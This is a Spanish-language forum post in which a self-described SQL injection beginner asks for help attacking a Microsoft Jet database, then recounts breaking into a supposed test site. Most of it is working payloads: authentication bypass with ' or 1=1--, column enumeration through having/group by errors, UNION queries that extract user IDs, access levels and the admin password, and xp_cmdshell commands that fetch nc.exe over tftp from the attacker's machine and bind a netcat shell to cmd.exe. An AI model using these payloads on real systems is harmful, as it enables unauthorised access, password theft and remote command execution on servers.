tengo problemas con un Microsoft JET Database Engine
el nombre de la tabla se adivino atravez de un union select
con ' union select 1 from [tablaincorrecta] devuelve:
"The Microsoft Jet database engine cannot find the input table or query 'tablaincorrecta'. Make sure it exists and that its name is spelled correctly."
al adivinar la base(' union select 1 from [admin]) se devolvio:
"The number of columns in the two selected tables or queries of a union query do not match"
despues se incremento el numero de columnas
' union select 1 from [admin]
' union select 1,1 from [admin]
' union select 1,1,1 from [admin]
en donde en este ultimo no recibo ningun error, queriendo decir que ahi 3 columas
una de ellas siendo User_ID que consegui atravez de un simple '
e tratado de comentar con:
/*
#
--
%00
//
son todas las que conozco... si hay alguna que conozcan me la pueden decir? haber si sale algo...
al hacer ' union select User_ID,1,1 from [admin]
y ' union select Password,1,1 from [admin]
no devuelve ningun error, esto es que las columnas existen
al hacer ' union select pirulo,1,1 from [admin] devuelve"
"No value given for one or more required parameters."
sigo intentando de adivinar la tercera columna...
pero cuando hago ' union select User_ID,1,1 from [admin] where User_ID>'1' me devuelve
"Syntax error in string in query expression 'User_ID>'1'''."
porque me da esto?porque no me da error ' union select User_ID,1,1 from [admin]?
pasa lo mismo si lo hago sin las ' al 1...
noten que tiene un ' entre el mio y el que cierra, a que se debe esto?
la \ no sirve, no se si en Microsoft Jet se hace de otra manera... alguien sabe esto?
tambien, mis conocimientos de obfuscacion son limitados... alguno tiene algun link bueno acerca de obfuscacion?
intente %27%75%6E%69%6F%6E%20%73%65%6C%65%63%74%20%55%73%65%72%5F%49%44%2C%31%2C%31%20%66%72%6F%6D%20%5B%61%64%6D%69%6E%5D%20%77%68%65%72%65%20%55%73%65%72%5F%49%44%3E%27%31%27
que seria = ' union select User_ID,1,1 from [admin] where User_ID>'1'
pero me devuelve el mismo error...
tambien el siguiente
' union select User_ID,1,1 from [admin] where User_ID/**/>/**/'1'
y etc...
no se si me sirve intentar de obfuscar en este caso o no...
soy bastante nuevo a sql injection...
despues tengo preguntas de curioso no mas
que es lo que hace la sentencia ' having 1=1--? se que ' or 1=1-- le cierra con el ' y despues le da un valor verdadero y lo logea con el primer usuario de la tabla dado que no sabe cual darle. pero por que el having devuelve la columna?
el union select incrementado da error cuando no tiene suficientes columnas por el hecho que el union select tiene que tener la misma cantidad de columnas que tiene la tabla.
los where, and son parametros que sirven para encontrar mas info ejemplo: "' union select UserName from Tabla where UserName<>'Pablo' and UserName<>'Martin'" esto lo que hace es decirle a la base de datos que devuelva un usuario que no sea Martin o Pablo...
atravez de esta forma pude entrar como admin a una pagina (de prueba por supuesto)
en donde fue lo siguiente
' or 1=1-- <-- acedi, pagina muy vulnerable...
' having 1=1-- <devuelve user.userID, la tabla "user" y la columna userID
' group by user.userID having 1=1-- <-- esto dice que ordene por grupo devolviendo la siguiente columna user.AccessLevel
' group by user.userID,user.AccessLevel having 1=1-- <-- devuelve user.Password
' group by user.userID,user.AccessLevel,user.Password having 1=1-- <-- devuelve: "The column prefix 'user' does not match with a table name or alias name used in the query." ya tenemos todas las columnas
despues queremos sacar algo de info
' union select min(userID),1,1 from user where UserID > '1'-- <-- nos devuelve un error con un userID mayor a 1, ej:1234
' union select min(Password),1,1 from user where UserID='1234'-- <-- nos da su pass , esto le dice que busque en la tabla la pass del usuario 1234
' union select min(AccessLevel),1,1 from user where Username='1'-- <-- esto nos da 'noob', pero esta columna parece mas interesante >
' union select AccessLevel,1,1 from user where AccessLevel<>'noob'-- <--da el siguiente valor 'advanced'
' union select AccessLevel,1,1 from user where AccessLevel<>'noob' and AccessLevel<>'advanced'-- <-- nos devuelve 'admin'
'union select userID,1,1 from user where AccessLevel='admin' <-- nos da el userID del admin, en este caso '4321'
'union select Password,1,1 from user where UserID='4321' <-- FINGER LICKIN' GOOD!
para sacar que esta usando se puede hacer un
' union select @@version,1,1--
esto es algo simple, y la manera que hice mi primer hack... servidor de prueba aclaro de vuelta...
aunque no lo crean sigue habiendo muchos servidores vulnerables... a ' or 1=1--...
intenten tambien insert into, sacar que tipo de valor tiene la columna ej:varvhar,int
despues existen cosas mas avanzadas como ' exec master..xp_cmdshell 'dir' que nos da el resultado de el comando dir en donde se encuentra la base de datos
algo que siempre quise hacer fue ' exec master..xp_cmdshell 'tftp -i miip GET nc.exe C:\nc.exe'
' exec master..xp_cmdshell 'nc.exe -vv -l -p 54321 -e cmd.exe'
siempre me pregunte si esto funcionaria, agamos de cuenta que no tiene firewall porfavor, sino... una reverse shell...
alguno lo hizo o sabe si esto funcionaria?
tambien recuerden que depende de la base de datos depende de los parametros.
ej:
en Microsoft SQL Server 2000
'union select userID,1,1 from user
en Microsoft JET
' union select userID,1,1 from [user]
esto es algo para principiantes como yo, para mas info
http://www.ngssoftware.com/papers/advanced_sql_injection.pdf
http://www.nextgenss.com/papers/more_advanced_sql_injection.pdf
http://ferruh.mavituna.com/sql-injection-cheatsheet-oku/
http://www.google.com
links sacados de sechack.blogspot.com
nunca un hagan un drop, eso es de hdp